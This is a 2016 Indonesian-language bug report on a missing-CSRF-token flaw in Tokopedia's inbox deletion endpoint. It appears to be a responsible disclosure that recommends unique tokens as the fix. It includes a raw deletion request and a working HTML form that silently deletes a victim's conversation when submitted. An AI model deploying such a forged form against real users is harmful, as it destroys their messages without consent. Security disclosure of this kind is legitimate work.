• Tidak ada hasil yang ditemukan

Missing CSRF Token that could Illegally Delete the Conversation

N/A
N/A
Protected

Academic year: 2021

Membagikan "Missing CSRF Token that could Illegally Delete the Conversation"

Copied!
8
0
0

Teks penuh

(1)

Missing CSRF Token that could Illegally Delete the

Conversation

August 29

th

, 2016

@YoKoAcc (yk@firstsight.me)

(2)

Missing CSRF Token that could Illegally Delete the Conversation | page | 2

Revision Detail

Version

Date

Detail

(3)

Missing CSRF Token that could Illegally Delete the Conversation | page | 3

Table of Contents

Revision Detail ... 2 Table of Contents ... 3 Table of Figures ... 3 I. ABSTRACT ... 4 II. INTRODUCTION ... 5

III. SUMMARY OF ISSUE ... 5

IV. INFORMATION AND SITUATION OF THIS POC ... 5

V. STEP TO REPRODUCE ... 7

VI. ADDITIONAL INFORMATION ... 8

VII. RECOMMENDATION ... 8

VIII. REFERENCES ... 8

Table of Figures

Figure 1 Fitur Mengirim Pesan pada Tokopedia ... 4

(4)

Missing CSRF Token that could Illegally Delete the Conversation | page | 4

I.

ABSTRACT

Berkirim pesan di dalam transaksi jual beli merupakan suatu hal yang lumrah dilakukan baik oleh pembeli maupun penjual. Di dalam prosesnya pun masing-masing pihak secara umum memiliki kecenderungan untuk menyimpan percakapan yang pernah dilakukannya baik untuk alasan bukti di kemudian hari kelak bila terjadi hal yang tidak diinginkan ataupun atas dasar hal yang lainnya.

Figure 1 Fitur Mengirim Pesan pada Tokopedia

Akan tetapi permasalahan pun muncul ketika proses penghapusan yang dilakukan oleh aplikasi dari Tokopedia belum memberikan perlindungan berupa unique token. Dengan memanfaatkan kerentanan ini, maka seorang Attacker yang berhasil membawa pengguna ke halaman palsu yang dituju akan membuat pengguna dimaksud untuk menghapus percakapan secara tidak langsung yang pernah dilakukan satu sama lain (dari pengguna ke Attacker ataupun sebaliknya).

Sebelumnya kerentanan serupa juga ditemukan pada fitur berkirim pesan, namun kerentanan ini sendiri telah ditutupi oleh pihak Tokopedia sekitar jam 1 pagi per tanggal 29 Agustus dengan menambahkan fitur captcha.

(5)

Missing CSRF Token that could Illegally Delete the Conversation | page | 5

II.

INTRODUCTION

Seperti yang pernah dibahas pada paper sebelumnya, secara umum CSRF merupakan suatu serangan yang “memaksa” seorang pengguna untuk melakukan sesuatu yang pada dasarnya “tidak diinginkan” di dalam suatu aplikasi berbasis web dengan memanfaatkan keadaan diri korbannya yang sedang dalam keadaan memiliki otorisasi (login). Umumnya serangan jenis ini dapat dimanfaatkan karena tidak terdapatnya suatu proses autentikasi dalam melakukan suatu perubahan atau tidak terdapatnya token yang unik yang diberikan izin untuk memproses hal dimaksud (token bersifat unik ini biasanya diberikan supaya pengguna tidak lagi dipersulit dengan mengetikan kata sandi untuk perubahan yang tidak terlalu significant).

Di dalam situs Tokopedia, setiap perubahan yang dilakukan oleh pengguna baik itu mengubah profile, menambah daftar rekening, menambah daftar alamat, ataupun menghapus daftar yang ditambahkan selalu disertai dengan token yang di-generate secara otomatis oleh sistem. Perbedaannya, ketika penambahan suatu rekening dan mengubah profile, pengguna diharuskan memasukan kata sandi ataupun mengirimkan OTP terlebih dahulu.

III.

SUMMARY OF ISSUE

Seperti yang telah disampaikan pada point sebelumnya, permasalahan keamanan pada laporan ini berkaitan dengan kerentanan yang “mengizinkan” seorang Attacker untuk dapat menghapus percakapan yang pernah dilakukannya dengan korban dikarenakan belum terdapatnya perlindungan berupa unique token.

IV.

INFORMATION AND SITUATION OF THIS POC

Untuk dapat memahami dengan baik akan permasalahan yang ada, pada bagian ini akan disampaikan kembali secara spesifik mengenai beberapa informasi yang berkaitan dengan proses yang berjalan secara umum dari aplikasi maupun akar dari permasalahan yang ada.

Tokopedia memiliki beberapa hal yang di-request menuju server untuk dapat melakukan beberapa hal, yaitu:

4.1. action : merupakan parameter yang berisikan mengenai perintah yang ingin dilakukan oleh seorang pengguna;

4.2. delete_message : merupakan action yang digunakan untuk menghapus pesan. Penghapusan ini tidak permanen sehingga dapat kembali di-restore bila suatu saat nanti diperlukan;

(6)

Missing CSRF Token that could Illegally Delete the Conversation | page | 6

4.3. delete_forever_message : merupakan action yang digunakan untuk menghapus suatu pesan secara permanen;

4.4. data_element : merupakan parameter yang berisikan informasi mengenai nomor inbox ID, message ID, dan letak pesan yang dikirimkan ataupun diterima oleh seorang pengguna;

4.5. inbox_id : merupakan nomor ID dari suatu inbox yang berkaitan dengan suatu percakapan; 4.6. msg_id : merupakan nomor ID dari suatu pesan yang dikirimkan yang berkaitan dengan suatu

percakapan;

4.7. inbox-message : merupakan parameter yang menandakan bahwa suatu pesan berada di kotak masuk (inbox);

4.8. inbox-message-sent : merupakan parameter yang menandakan bahwa suatu pesan berada di kotak “terkirim” (sent item).

Adapun contoh request yang dikirimkan terkait proses penghapusan ini yaitu sebagai berikut: POST /ajax/inbox/message-eng4.pl?aws=1 HTTP/1.1

Host: www.tokopedia.com

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:48.0) Gecko/20100101 Firefox/48.0 Accept: application/json, text/javascript, */*; q=0.01

Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br DNT: 1

Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest

Referer: https://www.tokopedia.com/inbox-message.pl?nav=inbox-message-sent Content-Length: 139

Cookie: some of cookies value here

action=delete_forever_message&data_element=%7B%22inbox_id%22%3A51488082%2C%22msg _id%22%3A22351566%2C%22nav%22%3A%22inbox-message-sent%22%7D

Table 1 Request for Deleting

Tergantung dari pilihan “Attacker” (antara delete_message atau delete_forever_message), suatu percakapan yang pernah dilakukannya bersama korban akan dapat terhapus baik sementara ataupun permanen.

(7)

Missing CSRF Token that could Illegally Delete the Conversation | page | 7

V.

STEP TO REPRODUCE

5.1. Temukan terlebih dahulu inbox_id dan msg_id yang di-generate oleh aplikasi berdasarkan percakapan yang telah dilakukan oleh Attacker dengan korbannya. Dalam hal ini, proses pencarian akan inbox_id dan msg_id dapat dilakukan dengan mengirim action penghapusan terlebih dahulu seperti yang telah disampaikan pada Table 1.

Ketika proses ini dilakukan, maka kita akan memperoleh isi dari data_element berupa:

%7B%22inbox_id%22%3A51488082%2C%22msg_id%22%3A22351566%2C%22nav%22%3A% 22inbox-message-sent%22%7Dyang bila di-decode akan menjadi

{"inbox_id":51488082,"msg_id":22351566,"nav":"inbox-message-sent"}

5.2. Langkah berikutnya yang harus dilakukan adalah dengan membuat submit form sederhana dengan .html yang ketika diklik oleh korban, maka korban ini akan menghapus pesan percakapan yang dilakukannya dengan Attacker.

<html> <body>

<form action="https://www.tokopedia.com/ajax/inbox/message-eng4.pl?aws=1" method="POST">

<input type="hidden" name="action" value="delete_forever_message" /> <input type="hidden" name="data_element"

value='{"inbox_id":51488083,"msg_id":22351566,"nav":"inbox-message"}' /> <input type="submit" value="Submit request" />

</form> </body> </html>

Table 2 .html file for deleting the conversation permanently

5.3. Setelah itu, Attacker hanya perlu menunggu korban mengunjungi URL yang telah disiapkan. Perlu menjadi catatan bahwa .html file yang dipersiapkan oleh Attacker tidak hanya dapat berupa submit button, melainkan juga request otomatis dengan memanfaatkan library dari jquery di http://code.jquery.com/jquery-1.12.1.min.js.

(8)

Missing CSRF Token that could Illegally Delete the Conversation | page | 8

VI.

ADDITIONAL INFORMATION

Untuk dapat memaksimalkan informasi yang disampaikan pada laporan ini, berikut ini terlampir beberapa kondisi tambahan yang perlu diperhatikan:

6.1. Percakapan yang dapat dihapus hanyalah percakapan yang pernah terjadi dengan Attacker.

Dalam hal ini, Attacker tidak dapat menggunakan cara serupa untuk menghapus percakapan

lain kecuali Attacker mengetahui nilai dari inbox_id dan msg_id dari korbannya;

6.2. Sebagaimana yang juga terjadi dengan kerentanan Reflected XSS yang pernah disampaikan pada laporan sebelumnya, keberhasilan dari serangan ini bergantung dari korban yang terpedaya untuk mengunjungi suatu URL yang di dalamnya telah disisipkan .html file seperti yang telah dijelaskan sebelumnya;

6.3. PoC Video (Unlisted at Youtube): https://youtu.be/jY4tzuTHlD4

VII.

RECOMMENDATION

Dalam hal ini, penambahan parameter token yang bersifat unik di setiap pengiriman action tertentu akan menjadi rekomendasi yang dapat diterapkan untuk menutupi kerentanan yang ada.

VIII.

REFERENCES

8.1. PCI DSS v3.2 point 6.5.9 (for CSRF);

8.2. https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF);

Gambar

Figure	2	Success	Deleting	the	Message	via	CSRF

Referensi

Dokumen terkait

Berdasarkan rumusan masalah yang ada, maka tujuan utama dari penelitian ini adalah cara menerapkan teknologi Cloud Computing pada suatu sistem repository tugas

Hasil yang dicapai di dalam analisis dan perancangan ini adalah menghasilkan sebuah sistem basis data yang terintegrasi antara bagian operasional dan staff di

Pembahasan yang akan dilakukan pada penelitian ini merujuk pada penelitian terdahulu yang terkait dengan pengaruh lokasi, promosi, word of mouth, dan kualitas

Nilai impor Sulawesi Tenggara pada bulan Mei 2015 tercatat US$ 36,66 juta atau mengalami peningkatan sebesar 52,24 persen dibanding impor April 2015 yang tercatat US$ 24,08

Zhang (2007) mengajukan model pertumbuhan ekonomi dua sektor dalam waktu diskret, di mana dalam sistem produksi, produsen akan menghasilkan dua output (dua jenis produk)

Kelemahan pengolahan limbah kulit kakao sebagai tepung pakan ikan belum diteliti lebih dalam, yang diteliti disini hanyalah kandungan pada kulit kakao tersebut cukup baik

raksi adalah tahanan yang dipakai dengan berat atau alat lain untuk menangani raksi adalah tahanan yang dipakai dengan berat atau alat lain untuk menangani kerusakan atau

Alat analisis yang digunakan adalah pendpatan koto, pendapatan bersih dan efisiensi pendapatan dengan cara menghitung pendapatan kotor yang dikurangi dengan total biaya